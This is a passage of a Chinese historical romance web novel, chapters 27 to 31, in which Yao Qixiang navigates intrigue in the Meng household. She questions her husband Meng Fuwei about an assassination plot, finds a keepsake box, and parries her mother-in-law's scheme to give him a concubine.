茗玉敛目:“太子又如何,天家的恩情也不过如此,不值当为他们卖命奔波。” “咱们还能做亏本的买卖不成?”天禄看了眼别处,道,“那边来人了,我先回去换身衣服。” 茗玉没再说话,径直往厨房去了。 今年的天气比往年都要热,还未立夏,身上的春衫都要穿不住了,晚上厨房也尽可能备了些清淡可口的菜肴,少不得便以冷食为主。 姚戚香看着桌上的菜,罕见地没先动筷子。 茗玉心细,见状问道:“娘子,是晚上的菜不合口味?” 姚戚香摇了摇头,只道:“只是没什么胃口。” 说话间,孟扶危刚从书房那边过来,正欲落座,扫了眼桌上的吃食便道:“把这些都撤下。” 茗玉一愣,又听见他的下半句:“都换成热菜。” 姚戚香下意识看向孟扶危,表情有些惊讶——是巧合吗? 有件事,只有姚戚香自己知晓,她吃不得冷食。昔年在姚家,或许是反复翻热的饭菜,或许是饮食搭配不当,总之她胃里容易受寒。 若是吃了冷食,进一点倒没什么关系,若是多了一点,胃里便翻江倒海很不舒服。 后来也不是没有瞧过郎中,不过郎中说胃需要温养,若喝汤药,只怕要喝上好一段时间才能有些成效,若她以后注意饮食,不要再食生冷之物,倒也不会再犯。 姚戚香不愿喝那极苦的药,便一直注意着饮食,可这些东西她没有跟任何人说过。 从姚家跟她陪嫁过来的两个丫鬟不知道,茗玉跟了她这些日子也不知道,因为人多是注意菜品的偏好,甚少有人会注意一个人喜欢吃冷的还是热的。 可孟扶危……为何会知晓呢? 姚戚香不由看着他,他是因为知晓,才有了方才的吩咐,还是真的是巧合? 说实话,姚戚香从不信巧合。 可这件事,她想不出不是巧合的缘由来。 孟扶危暗中调查她?可这事只有她自己知道,他还能向什么人调查? 左右等了一炷香的时间,陆续上了几道热菜,姚戚香并没有第一时间动筷子,而是率先观察孟扶危的反应。 他神色淡淡,似乎也并无什么反应,难道真的是巧合吗? 姚戚香开始动筷子吃东西了。 晚饭吃到一半的时候,茗玉来传了话,说春绿知情不报,已被赶出去了,姚戚香听了这话并未有什么表情。 常秋兰最宝贝的就是她儿子,什么事犯到了她儿子身上,她便什么心都恨得下来。 况且,经过了这次的事,常氏那边,她只怕是不好再装了。 从一开始的敬茶,到买官,到孟元德科考被禁,再到如今两个耳目也被她剔除了去,常秋兰怎么可能会相信,这些事与她毫无干系呢。 这真正的较量,只怕是才要开始呢。 吃过了饭,姚戚香看着孟扶危起身,她正要开口说什么,就听孟扶危道:“我今晚宿在书房。” 姚戚香原本打算要说的话,又咽了下去。 她是想跟孟扶危说,她来月事了,夜里怕是不宜同房…… 那种微妙的巧合感再次浮上心头,可转念姚戚香又想——不可能的,绝对不可能,孟扶危怎可能连她月事的时间都知晓,只怕今夜的事真是巧合。 要么就是,孟扶危回房怕是有政务处理。 两人成亲这么久以来,除却孟扶危有事不在府上,这还是头一回他主动去了书房的,姚戚香默了片刻,看向茗玉,忍不住问:“这些日子,他……在朝中忙吗?” 姚戚香犹豫了一下,没再喊孟扶危的名字。 茗玉道:“这几日公子是很忙的,之前千味楼的事没能查出个眉目来,事关太子,公子又是太子太傅,免不了要跟着操心。” “噢。”姚戚香应了一声,她回想起千味楼那日的惊险,只觉得好似做了一场梦。 “要杀太子的,想必也是皇室中人吧?”姚戚香问。 茗玉道:“这些东西,奴婢也不大懂,公子甚少会讲这些。” 姚戚香点点头,心想也是,她本也只是好奇打问一句罢了,孟扶危在朝中的事,于她能有什么用呢…… 姚戚香正欲起身离开,可转眼她又想——怎么没用呢? 这若是用好了,便能省她不少事呢。 她用余光瞄了眼正色的茗玉,轻咳了一声道:“我也想沐洗了早早歇下,你去备水。” “是,娘子。”茗玉低头走了出去。 姚戚香一直看着茗玉离开、走远,她才转过身看向里间。 如若没有看错,孟扶危刚刚离去的方向应该是浴室?她这会儿进去,趁着孟扶危在沐洗,问些问题,就算他不答,也没办法追出来吧? 顷刻间,她拿定了主意,然后大步朝里面走去。 因着有热水的缘故,屋子比别间要热,姚戚香慢吞吞走了进去,悄无声息地靠近遮挡的屏风,想了想,她还是没有越过屏风去。 她顿了顿,开口:“孟扶危,我能问你件事吗?” 那边没有回音,可他素来是个沉默的。 于是,姚戚香又道:“你是不是查出什么来了?关于千味楼那日的事……” 屏风那边静悄悄的,还是没有回音。 “你倒也不必疑心我做什么,我也只是好奇问问,毕竟……千味楼那日我也在不是?” 她一连说了三句话,觉得孟扶危怎么也该回她一句了,可没想到还是静悄悄的。 姚戚香皱了下眉,正要绕开屏风往里面探过去,就听见身后传来一句:“后面没人。” 姚戚香一个激灵回身,只见孟扶危身上只披了件中衣…… 姚戚香张了张嘴,猛地别开了眼。 天菩萨,孟扶危浑身上下,只有那件中衣…… 第28章 第28章 替他擦背 一股从未有过的热辣感自姚戚香后背劈向全身, 她仿佛感受到孟扶危的视线成了有形的实物,一寸寸朝她压来。 方才她只瞧了一眼,可并没有仔细看, 应是……应是无碍吧? 可偏偏她越想克制, 脑子里就越发显出刚刚匆匆一眼看到的画面,似乎还愈发清晰了。 姚戚香从未觉得自己眼力有这么好过。 身后没有再响起任何声音,甚至连脚步声都没有, 安静到她以为孟扶危转身走了。 姚戚香觉得这个想法合理, 毕竟被看到的是孟扶危,他也尴尬吧?他一定是因为衣衫不整,没办法出去,又因为她挡住了路, 没办法才这样的。 于是, 姚戚香迟疑了一会儿,极为缓慢地转过身…… 再次对上一双幽静的黑眸。 姚戚香瞬间直起了身,又慌忙错开了眼。 他怎么还在!!! 也不知是不是姚戚香的表情太过明显,孟扶危开口:“那我应该去哪儿?” 身后响起沉稳缓慢的脚步声,是他在向她靠近。 姚戚香下意识就往屏风另一边躲,她连眼睛都不知要放在哪儿, 只能随意看着别处, 须臾功夫便将这浴室之中的陈设打量了个遍。 “我、我、我误入了。”姚戚香深吸了口气,尽量让自己理直气壮起来。 又不是她非要看, 再说了,孟扶危不本来便是她的夫君吗?看看怎么了?她如此惊慌失措, 倒显得她心虚似的。 她抬眸,双眼只管落在孟扶危的那张脸上,即便知晓他敞开的衣襟是如何的一览无余, 即便知晓她方才匆匆扫过一眼没看清的地方是如何风轻摇曳,她也只管将目光定在孟扶危脸上。 水汽氤氲之下,他如玉的肤色更加白皙出尘,五官精致得宛如妙手工匠精雕出来的玉像,神色坦然得仿佛他只是一尊高坐庙宇的佛,仿佛他此时此刻皆属平常,没有丝毫不妥。 嗯…… 姚戚香心道,快说话呀,他这样一声不吭是怎么回事? 可孟扶危到底是一字未说,他就这样镇定自若地迈过了她身边,走入屏风之后,直至响起一片水声,姚戚香才确信他是已经入浴了。 那她现在走? 姚戚香抬脚刚要挪动,就听见仅有一面屏风之隔的背后,孟扶危的声音响起:“你说,你要问我什么?” “……” 姚戚香刚准备要走的脚又站回了原地。 只要把她想要的东西拿到手了,她一向是很能忍辱负重的。 “就是千味楼的事……”她道,“有什么眉目了吗?” 她等了两息,孟扶危却还未开口,就在姚戚香想再问一遍时,才听见他缓声道:“尚未完全查清,不过已有了些眉目。” 那就是大致有个方向了? 姚戚香又问:“这里面的内情……我能听吗?” 孟扶危并未立时拒绝她,他像是在犹豫,在思索,虽然姚戚香觉得他纵然不说也无可厚非。 片刻后,他像是松动了,对她道:“此事说来话长,你先去房中等我吧,让天禄进来替我擦背。” 姚戚香心中一喜,正要应下转身出去,可没走两步又站住了脚。 她回头看向屏风,上面隐约映着孟扶危的身影,她想——万一一会儿出来了,孟扶危又反悔了怎么办? 或者他在这段时间里斟酌了一会儿,编出个幌子诓她怎么办? 不行。 姚戚香立刻回身,她从架子上取了干净的帕子,一步步走向屏风之后,直到看见坐在池中的孟扶危。 她呼吸一顿,饶是知晓他好看,可见他寸缕不着浸在水中的样子,又另有一番风味。 “孟扶危……”她出声,“不如,你慢慢说,我帮你擦背?” 她可不要就这样错过这个机会。 本以为孟扶危兴许会拒绝,没想到他竟十分淡然地应承了下来。 “你会吗?”他问。 “会!怎么不会?”姚戚香将帕子浸了水,照模照样地在他背上擦拭,呼吸却是轻了又轻。 她发现,她有些管不住自己的眼睛。 她跪坐在池边,孟扶危浸在池中,以她较高的角度,稍微一偏头便能瞧见孟扶危因呼吸而微微起伏的胸口,他身上的肌肉漂亮而紧实,又不过于夸张,穿上衣服是便是清正文臣的样子,脱下后…… 姚戚香有些脸热。 她想,等她和孟扶危和离了,将来再嫁,她或许需找个容貌没有那么出色的郎君。 否则,平白叫她不太冷静了。 她给孟扶危擦了半晌的背,眼睛频频望向他,心中催促——倒是快说呀! 少顷,孟扶危开口:“陛下子嗣稀薄,在立储前,能被拿来当谈资的只有一个成王。” “是成王做的?”姚戚香试问。 “嗯。”孟扶危给出了肯定的答复,“只会是他。” 姚戚香一边思索着,一边替孟扶危擦背,她对这个成王所知不多,平日也甚少听说他的名字。 等等,孟扶危不是说这件事说来话长吗?这不是一两句就说清楚了? 姚戚香捏着手中的帕子,正觉得自己仿佛被孟扶危戏耍了,他忽然又开了口:“此事的关键之处不在成王,而在其背后的势力。” 姚戚香默默听着。 “邬国远在边陲,成王一直都未离开过盛京,不知是何人替他联系了邬国的死士,究竟又是何人才能做到毫无线索,且那伙邬国人行事很是大胆,根本不怕被人发现身份的样子,背后之人定是笃定了自己不会被发现。” “储位之争,其下向来盘根错节,若不一次性将成王党拔除干净,势必后患无穷。” 姚戚香道:“也就是说,眼下还没有查清究竟谁才是成王党,是吗?” 孟扶危颔首。 姚戚香的目色渐渐下沉,还没有查清,那岂不是任谁都有可能了? 这桩罪名,可大可小,可一旦死死扣下来,那可就是永世不得翻身的罪名了。 耳畔,孟扶危忽然开口:“姚戚香,你在想什么?” 姚戚香蓦然回神,她一下子望进孟扶危那片深不见底的眼眸中,心里咯噔一下,不由自主产生了一个念头——好似孟扶危知晓她在想什么一般。 “……没什么。”她忙敷衍着。 谁知孟扶危的视线却并未离开她,那道幽冷的视线像是带着切实的温度,盯得姚戚香浑身不适,甚至连后背都开始发毛了。 怎么了?她这又没说什么。 她下意识咽了咽口水,想起身离开了,又见孟扶危移开了眼,若无其事道:“成王身后的势力不容小觑,夺储之争,他未必会输。” 转眼他又恢复了常色,仿佛方才那一瞬的威压只是她的错觉。 姚戚香松了口气,难道孟扶危方才那瞬的不悦并非冲着她来的?而是冲着成王? 他是太子太傅,怎么想都一定是站在太子那边吧?若最后登上帝位的人成了成王,那孟扶危岂不是下场糟糕? 若真是成王……那她岂不是白白谋划一场,反倒给他人做了嫁衣? 姚戚香觉得,此事还是从长计议的好。 “我要起身了。”孟扶危道。 他这一声说得极近,几乎就响在姚戚香耳边,弄得她半边身子都滚烫起来,脸上烧烘烘的。 “哦、哦。”姚戚香连忙起身,“那我先出去了。” 她躲躲闪闪,一副避讳着大防的样子,全然忘了她与孟扶危本是夫妻。 等离开了浴室,回到房中,姚戚香才慢慢从孟扶危的话中抽离出来。 看来,她想做的事,想要走捷径,也不是那么容易的。 顿了顿,姚戚香突然发现自己手上竟然还拿着替孟扶危擦背的帕子。 她心中暗恼自己真是走神了,在屋中转了一圈想着要把这东西搁哪儿,要是被孟扶危瞧见了,万一误会她刻意留着这块帕子怎么办? 一瞧见这帕子,她就忍不住想起方才,她的手指不免要触碰到他的后背,那种细微的、若即若离的触碰,令她指尖发麻。 还是先随意找个地方塞过去。 姚戚香正要往外走,刚打开了门便见孟扶危已更衣完毕,朝这边过来了,她又赶紧转身回去了。 他怎么来这么快。 情急之下,姚戚香的目光落在了床底。 她以掩耳不及迅雷之势,弯身将帕子丢进了床底,正要把手拿出来时,却在床底下摸到一个小盒。 姚戚香一时没能忍住好奇,将盒子拿了出来。 小盒并未上锁,外形却很精致漂亮,只有巴掌大小一个。 姚戚香一瞬间脑子里浮现出数个念头——这里面,不会装些什么,她不该瞧的东西吧? 比如…… 玉那个什么势之类的。 她的心突然突突跳了起来,盘算着孟扶危的脚程,在强烈好奇心的驱使下,姚戚香打开了盒子—— 映入眼帘的,是一对平平无奇的花头绳,而且瞧着似乎有些年头了。 姚戚香一愣,这是什么? 她正想细瞧,一只修长的手从她眼前伸过,紧接着就把那个盒子拿了回去。 是孟扶危。 姚戚香心虚起身:“我无意发现的。” 她马上转身溜之大吉,跑去妆镜前卸钗环首饰,连孟扶危的表情都没来得及看一眼。 半晌,姚戚香突然从孟扶危方才的动作中品味出几分回护来,好像并不愿意她碰似的,而且那个盒子虽然在床底下搁着,但是姚戚香拿着它的时候,并没有在上面看到什么灰尘。 也就是说,盒子里的东西,虽然是旧物,可却是会被时常拿出来看看的。 ……那不会是孟扶危哪个相好的东西吧? 没错。 须臾,姚戚香笃定,那一定是孟扶危哪个相好的。 第29章 第29章 孟扶危心里有人? 收敛头绳这种行为, 看似亲密,实则极为含蓄,若真是有了肌肤之亲的人, 怎会去收拾这种东西? 而且若女子知情, 给的多是些荷包、手帕之类的,谁会将自己的头绳送出去?是以,多半是孟扶危私藏的。 姚戚香有些惊讶, 孟扶危心里有人? 她卸完了首饰, 散了头发,又仔细梳开,下意识规避着孟扶危的视线爬上了床,横竖……她只当没看见就是了。 没想到她刚铺好被子, 就听孟扶危问:“你没有什么想问的?” “啊?”姚戚香回身, 她见孟扶危又用那种幽然的目光盯着她,叫她有些无所适从。 她要问什么?问那头绳是谁的?还是他为什么留着? 其实这两个问题,她都没有那么在意,她心中稍有在意的一点就是……她今后在孟家的位置,会不会有所变动? 孟扶危显然是心里有人了,可坐到他这个位置, 还能有什么样的女人没法得到?还需要他这样悄悄惦记着? 那无非就是几种, 一是那女子已经嫁人了,二是那女子与孟家交恶, 三是那女子已经不在了。 除却最后一种可能,万一哪天孟扶危把他这心上人领回家来了, 要做个妾,亦或者是平妻,到那个时候, 她做完自己该做的事了吗?她还需要借助孟家的势吗?她能一干二净跟孟扶危和离吗? 除了这些,姚戚香没什么想问的,可这几个问题,眼下的孟扶危怕是也答不上来。 于是她道:“我没什么要问的。” 不论是她的口吻,还是神色,都平静极了。 孟扶危沉默了一会儿,然后“嗯”了一声,缓缓坐在她身侧,也不知是不是姚戚香的错觉,她总觉得孟扶危在有意无意地看她。 怎么?孟扶危也心虚?怕她知道这件事会不悦? 姚戚香有些稀罕,按照孟扶危这样的门第,比之她姚戚香这样的门第,只怕她来做妾都是有些高抬了,盲婚哑嫁来的女子,孟扶危心里竟真拿她当发妻看待。 想到此处,姚戚香心中瞬间坦然了,就算今后孟扶危要领心上人回来,只怕也不会叫她格外难看,她与孟扶危说好,她只要做完自己的事便会离去了,叫孟扶危之后尽管将心上人扶正便好。 心里一宽,姚戚香就睡得格外快,现在饶是孟扶危还没有全然躺下,她也能安然入睡了。 第二天一早,孟扶危送的两个女使便来她跟前报到了,姚戚香见是两个陌生的面孔,且格外年轻,禁不住问:“你们之前在哪里当差?” 其中一人回道:“回禀娘子,奴婢二人是新进府的,昨日刚被买下。” “原来如此。”姚戚香点点头,“你们叫什么名字?” 方才那人回:“奴婢半夏,她叫春月,我们是同一个村子出来的,出身都在身契上写好了。” 这时,茗玉递来两张纸,姚戚香看过。 这二人出身很干净,连祖上在哪里做事,家中的男子从事过什么营生都写得格外清楚,都是本分的庄稼人。 “好,我记下了。”姚戚香将身契还给茗玉,“你们既然是新来的,那这两日便先跟着茗玉做事,熟悉熟悉。” “是,娘子。”两人对着姚戚香浅浅一拜,从头到尾都极为规矩,不得不说,姚戚香还是很满意的。 今日常氏亲免了她的晨昏定省,姚戚香听说,常氏要给儿子孟元德说一桩亲事,人选定了吏部尚书的孙女黄琬,说是生得极其娇俏可人。 姚戚香不认得黄家,知道这个消息的时候也只是略点了点头。 茗玉道:“娘子可还记得邓卓吗?” 姚戚香点头,邓卓便是她去赵家吃席时,在席上拉着她说话的那个。 茗玉:“这黄家和邓家是亲戚,黄琬是邓卓的表妹,两人小时候常在一起玩。邓家在京中的地位不比黄家,邓卓的母亲与黄琬的母亲的亲姊妹,分别嫁给了两家不同的人,邓家的男丁不大兴旺,多年也没出一个身居高位的,黄家有一个吏部尚书,黄琬在说亲上便炙手可热些。” 的确,能嫁到孟家来,那家世定然不会差。 可要说孟元德这个人……姚戚香厌恶此人,不免有些同情将要嫁过来的黄琬,可她的情绪也仅限于此,毕竟这种事她又阻止不了,归根结底,与她也没什么关系。 想来,是之前春竹的事令常氏心有余悸,生怕再出个这样的惹出什么乱子来,耽误了孟元德的好姻缘,常氏这才急着张罗婚事。 这件事姚戚香听听也就罢了,并未放在心上,没成想刚过了午时,下人递了话进来,说邓卓在外面想要见她一面。 孟家到处都有常秋兰的耳目,想必邓卓也是想到了这一点,才悄悄叫人递了话进来。 姚戚香想了想,道:“叫她去茶楼等吧,那儿清静,我去换件衣裳,你让云韬备车。” “是。”茗玉正要转身,又被姚戚香拽住。 “哎,多叫几个人跟着。”想起上次千味楼的刺杀事件,姚戚香心有余悸,“把红绡也叫上。” 茗玉领命下去了。 等到了茶楼,邓卓已经快吃完两盏茶了,见姚戚香过来眼神一亮,忙招呼她坐下。 “姚娘子!你忘了我不曾?”邓卓热情极了,“想吃些什么果子点心的,你只管点,我请你吃!” 姚戚香知道她是来做什么的,她不爱绕弯子,便直截了当道:“你是为黄琬的婚事来的吧?” 邓卓许是少见她这般心直口快的,被说得愣了一下,才讪笑道:“确实如此,我那妹妹是家中千娇万宠出的宝贝,她祖父更是将她看得如同眼珠子一般,黄家的人不放心,我那妹妹自己也不放心,于是我就想来问问你,你毕竟是孟元德的嫂嫂,这些日子,你觉得此人人品如何?” 姚戚香笑了笑,她道:“他前些日子才打死了我弟弟,你指望从我这里听到什么好话?” 这话说得就更直接了,不过这也正是邓卓此行的目的,她忙道:“这件事内情究竟是如何?真像外界传闻那般,是姚太初脑子犯了浑,冒犯了孟元德,孟元德这才失手吗?” 姚戚香道:“这里面的内情,我也不大清楚,不过你应该知晓,这二人闹事的地点是在青楼。” 邓卓面露苦涩,她叹了声气:“我也知晓此事,可放眼京城,又有哪个儿郎是不去青楼的呢?” 姚戚香一想也对,连孟扶危都去,想必这的确很稀松平常。 “姚娘子,我今日找你只是想问问,这孟元德人品究竟如何?他在青楼为了个女子便能失手将人打死,那女子真是他心尖上的人吗?” 姚戚香看着邓卓,她虽知晓邓卓此行并无恶意,但她到底不了解邓卓的为人,万一她嘴巴松,跟她打听完转头就说给了别的什么人,最后再传到常秋兰的耳朵里,知道是她这个儿媳坏了她儿子的好事,那就少不了又要来一桩麻烦事。 这种容易落人口实的事,姚戚香从不会做。 她道:“跟你说句实话,我自从嫁到孟家,跟孟元德也只见过一两面,我是他的嫂嫂,没道理找他去说话不是?” 闻言,邓卓的表情明显落寞下来,她点了点头,强笑道:“也是,也是,是我考虑不周,今日打扰姚娘子了。” 姚戚香笑了笑,抿了口小二送上来的热茶,缓缓道:“你就放心吧,我见过他两面,那模样是很俊俏的,且上次的事之后,他也收心敛性了不少,被我婆母安置到西庐书舍去读书了。” 邓卓听着点了点头,神情依旧凝重。 姚戚香道:“那西庐书舍呀,可真是个好地方,风景秀丽不说,坐车去一个时辰也就到了,因为地址有些偏僻,也并不禁女子来去,我婆母前日还差了女使去给他送衣服吃食呢。” 邓卓顿了顿,她对上姚戚香带笑的双眼,慢慢从她这番话中回过味来了。 她猛地坐直了身子,高兴道:“是吗!我家亲戚刚好有孩子到了入学的年龄,不知到何处去开蒙呢!这西庐书舍这么看,我可要亲去看看才行。” 姚戚香道:“吃茶吧,要我说你也过于操心了些,婚姻大事,向来只有如鱼饮水冷暖自知的道理,你忙里忙外,你那表妹未必和你一条心。” 她这句话,又叫邓卓反应了一会儿,须臾,邓卓深以为然地点了点头,没错,正是,黄琬自己去瞧了,黄家的人亲去瞧了,这事才好分说。 “姚娘子。”邓卓举起手,“我以茶代酒,敬你一杯了。” 第30章 第30章 她真是好运气 与邓卓拜别之后, 姚戚香便打道回府,今天下午本来说好了钟嬷嬷来教她管账的事,她出来一趟已经耽搁了些时候。 她本是打算由偏门直接回松风堂的, 然而在马车路过正门时却见里面很是吵嚷 , 外面还堆放着几个大箱子,不知道是出什么事了。 她不关心别人的事,但也不能两耳不闻窗外事, 回到松风堂后, 姚戚香让茗玉去打探消息,只过了一刻钟的时间茗玉就回来了。 “娘子,是二房那边,孟极公子要纳一房贵妾, 此事已经在房中传开了。正门口摆的那些箱子, 一半是那贵妾的嫁妆,一半是孟极公子给的赏钱。” “哦……”姚戚香应了,那这会儿云栖堂那边说不定也热闹着,纳贵妾是要上宗谱的,宗谱是由她公爹把持的,她这公爹每天神龙见首不见尾, 姚戚香都嫁入孟府这么久了, 也没见着人几面。 “听说是突然被抬进来的,除了孟极和妾室的家人, 谁也不知,连云栖堂都不知晓, 主君不在府上,只有主母在,这会儿正遣人去叫了。” “是吗?”姚戚香没有想到, 这二房纳妾之事居然如此精彩,她起了身,“我那嫂嫂反应如何?” “说是前日回娘家小住了,怕是还不知道此事。” 姚戚香懂了,孟极这是在先斩后奏,先把人纳进来,上了宗谱定下,就算孙月瑶回来也奈何不了了。 她忍不住想起孟极的模样,脑满肠肥的样子,一时心底里竟有些为孙月瑶松了口气,要是她的夫君长这个模样…… “公子。”茗玉忽然开口问候了一声。 姚戚香抬眸,便见孟扶危青衫落拓走在外边的长廊上,光影重重,斑驳的光点在他身上明明灭灭,说不出的养眼舒适。 姚戚香心中突然升起一股前所未有的畅快,啊……她真是……好运气。 万一她的夫君是孟极那样的,那她这仇报得一定是会糟心无比。 “今日回来得早。”姚戚香道。 除去刚成婚那两日,孟扶危白天大都不在府上,偶尔晚上也不回来,姚戚香知趣,从不过问,全当是他公务繁忙。 “嗯。”他走到了门外,茗玉为他掀帘,他微微弯身走了进来,从他进屋起,一双眼睛便只落在姚戚香身上。 对上孟扶危双眼的一瞬间,姚戚香觉得他像是有话要说,心里一咯噔——不会是,见孟极纳了妾进来,孟扶危也想,来同她商议了吧? 不会,就是那头绳的主人吧? 僵持了一息,孟扶危似乎正在斟酌着准备开口了,谁知这时门外来了人。 “姚娘子,主母让您过去。” 姚戚香敛目,道了声:“知道了。” 这一经打断,孟扶危似乎又不打算说了,而是道:“我陪你去。” 姚戚香没有拒绝,自从明晃晃打发走了春竹、春绿之后,她就甚少私下与常氏见面,常氏也紧顾着孟元德的婚事,没有强叫她去。 姚戚香用脚指头想也知道这一去云栖堂没什么好事,孟扶危在说不准还会好些。 他们一起出了门,一路上孟扶危格外缄默,姚戚香也没有主动提。 再贤惠的妻子,也不该主动提出要为丈夫纳妾,男人虽在外要求妻子贤良淑德,不要争风吃醋,不过这些也只是担心给他们惹出什么麻烦来。 实际上,妻子主动提出纳妾,那是不在意自己丈夫的表现,是个男人得知妻子热衷于给自己纳妾,都不会高兴。 他们最高兴的是,他们自己看好了妾室,领上门来,妻子迫于无奈答应,最好私底下再吃几回无伤大雅的小醋,方方面面都虚伪到了极点。 孟扶危也是男人,姚戚香不能肯定他绝对会如此,但或许也多多少少不能免俗。 云栖堂当真热闹,或许是因有关宗谱的事,孟家的男人都来了,除了孟极和孟檀,姚戚香还看到了两个她从未谋面的叔伯。 她知晓这两人,年轻的时候在地方任州官,不到四十五岁,两人便双双辞官回京中养老了,日子过得格外潇洒随心,最重要的是,他们从不会主动来大房这边找事,一直都很安分守己,一副只求在孟家安安心心颐养天年的样子,同在一屋檐下,他们能做到这样,姚戚香觉得属实不错了。 “二叔,三叔。”姚戚香问候道。 两人笑着同她点了点头,除此之外竟然一句话都没有多说,姚戚香心里舒坦极了。 她往前走了两步,看见正襟危坐的常氏,笑盈盈道:“婆母。” 而今她与常氏之间,里子算是全没了,仅维持着一些表面的太平,姚戚香也就不必再装出那副诚惶诚恐的模样来了。 常秋兰先是不冷不热地哼笑了一声,随后道:“这些日子你可是逍遥,我可有好些日子都没见着你了。” “婆母说的这是什么话?儿媳分明好几次一大早就过来拜见您,是您自己拒而不见的。”姚戚香目中笑意不变,“一连多次,儿媳都生怕您身子抱恙呢。” “哼。”常氏冷笑,“生怕我身子抱恙?那也没见你……” “结果啊,问了下人才知,您那会儿子还在跟公爹温存着呢。”姚戚香眼中的笑意冷了下来,“您说他们也真是的,这种话实话实说了不就好了,儿媳若知道是这样,定然不会前来打扰。” 常秋兰的脸都绿了,要知道,阖府的男丁可都在这儿坐着呢。 姚戚香暗暗瞥她一眼,径自去寻了把椅子坐了下来。 这常氏好没意思,非要叫她过来,来了之后不就是这些场面上的把戏?一天到晚也没个新鲜的,她都懒得应付了。 她倒要瞧瞧,常氏究竟要如何,是不是真能背地里下药毒杀了她? 姚戚香的话叫这屋中顿时安静了下来,二房和三房的两个叔伯闻言更是缩了缩脖子,眼观鼻鼻观心地一口口啜着手边的茶,倒是孟极目光在这屋子里逡巡了一转,笑着拉着自己的妾室上前,道:“弟妹,她叫芸香,日后在同一屋檐下,你们熟悉熟悉,也好说话。” 姚戚香这才注意到一直站在孟极身后这个叫芸香的女子,她穿着一身淡紫色的长衫,生得与孙月瑶是全然不同的感觉,孙月瑶妩媚且落落大方,她则是瑟缩着,一张脸格外清丽。 最重要的是,格外年轻,姚戚香估摸此女跟她差不多大。 姚戚香笑着点了点头,没有接孟极的话茬,反而道:“这里离二房也不近,犯得着我来说话?只怕是嫂嫂先要拉着她说道,排遣一番寂寞呢。” 孟祁柏还没有被叫来,一伙人坐在屋子里只时不时说两句话,姚戚香有些纳闷,常氏叫她来究竟想做什么? “戚香。”正此时,常秋兰开了口。 常秋兰从未这样叫过她,从未对她露出过这样温善的笑脸,从未…… 姚戚香一瞬间心生警惕,然后不等常秋兰说第二句话,她便干呕起来。 一个身影快速向她走来,伸出一只手叫她扶着,姚戚香连头也不用抬便知,那是孟扶危。 她掏出袖口的帕子捂着嘴,做出一副十分难受的姿态来,连眼角都泛起泪花,一边想,常氏要干什么呢? “这是怎么了这是?”孟极转过身道。 孟极的亲爹孟祁松开口:“是害喜吧?快找个郎中来。” 声音还是懒懒散散的,听上去悠闲极了。 姚戚香本意并不是要闹大,只是拖延时间而已,她挥了挥手道:“不用了,只是中午吃得有些多,眼下有些恶心,晚辈去外面透透气就好了。” 期间,姚戚香一直在注意观察常氏的神色,她发现,在她假装难受的这段时间里,常氏一共看了芸香两次。 芸香? 姚戚香心中忽生出一种可能来。 “婆母,儿媳去外面透透气。”姚戚香想躲。 可常氏哪儿会放过她,笑道:“戚香,若真觉得难受,该请个郎中来好好看看才是,你不如就坐在这里,我命人去请郎中。” 姚戚香忙摇了摇头:“不必了,我去外面透口气,马上就回来。” 如此,常氏也不好再说什么。 姚戚香出了门,目光落在门口的茗玉身上,她想了想,拉着茗玉低声道:“你去松风堂,让红绡去找个人,回来的时候顺便把我的扇子拿过来。” 说完,姚戚香又在茗玉耳边轻轻耳语几句,茗玉领命退下了。 姚戚香多在外面站了会儿,一直站到有人传话说主君回来了之后,她才慢悠悠回了屋里。 没想到,等她回了屋中,回到孟扶危身边坐下,他竟问:“还难受吗?” 姚戚香一愣,对上孟扶危关切的眸子,她刚刚那般作假,难道不明显吗?他还真以为她不舒服不成? 再说了,就算她真不舒服……他也不必露出这种眼神来吧? 姚戚香心跳禁不住快了两拍,她摇摇头,指尖蘸着茶水在桌上飞快写下一字:演。 看见这个,孟扶危皱起的眉心才松开了,他轻声:“嗯。” 姚戚香:“……” 孟祁柏进了屋,从门口到上座,他一路垂着眼,没有看这屋里的任何人一眼,坐下后才道:“何事?” “大伯。”孟极笑道,“这是我新纳进门的贵妾芸香,今日想把她的名字上上宗谱。” 孟祁柏看也没看芸香一眼,道:“妾室只有生了男丁才能上宗谱。” 孟极一愣,接着道:“可、可芸香是贵妾,她出身清白,家中也是做官的!” 孟祁柏格外冷淡:“只要是妾,就得生了儿子才能入谱。” 姚戚香不免看了孟祁柏一眼,在她印象里,每次见她这个公爹,他似乎总是寒着一张脸,仿佛所有人都欠了他的样子,她敬茶的时候没有什么好脸,她还以为只是孟祁柏不喜欢她这个儿媳,怎么现在对自己的子侄,他还是没什么好脸? 满心筹谋的事眼下被驳了,孟极满脸的张皇,姚戚香知道他在想什么,只怕是在想,提前一步纳妾入宗谱的事打了水漂,这要是等孙月瑶回来,岂不还是他自己与之对抗? 这事既然没了着落,那二房和三房的人也不必留在此处了,姚戚香见二叔和三叔一副要走的样子,她也想跟着走,在这时,她那婆母又开口了。 “我听说,芸香家中还有一个姐妹?”常秋兰望着芸香,笑道,“我瞧你生得貌美乖巧,很是讨人喜欢,何不喜上加喜,将家中的姐妹一并带来,这样你姐妹二人以后还能一处说说话。” 说完,她看向姚戚香,道:“戚香进门也有段日子了,你意下如何呢?” 姚戚香明白了,常氏想将芸香的姐妹指给孟扶危做妾。【你现在阅读的是 】 30-40 第31章 第31章 纳妾 即便在方才, 姚戚香已经大致猜到了这一种结果,当真的发生时她还是觉得有些好笑。 刚刚她还在腹诽她这婆母来来去去就是那些手段,一点新意都没有, 眼下就给她来新的了。 姚戚香垂下眼, 正想着要如何应付,便看见桌子上不知何时多了一行用茶水所写的字:你的名声。 这四个字乍一看有些叫人摸不着头脑,可姚戚香很快就反应过来了。 常氏开口要给孟扶危纳妾, 本意并不是真的要纳妾, 而是借此让她心生不满,继而便是善妒的名声,若再添油加醋些,那岂不又是一个不敬尊长? 姚戚香自然知晓, 自从姚太初死后, 得益于孟扶危的相助,她在京中的名声好了不少。 若出了姚家,来到孟家,她再一次被扣上不敬尊长的帽子,那这恶名可就真的洗不清了。 姚戚香并不在意这些,她根本不在乎自己的名声是个什么模样, 可眼下她不得不在乎, 倘若她在孟家传出了不好的名声,后面又被寻了什么由头遭了休弃, 那她可就复仇无望了。 姚戚香明白了孟扶危的暗示,他不会在此时插手, 目的就是要她在众人面前表现出十足的贤德来,让常氏无话可说。 至于后事要如何料理……姚戚香想,就算孟扶危真的纳了妾, 与她这个迟早要离开孟府的人又有什么相干呢? 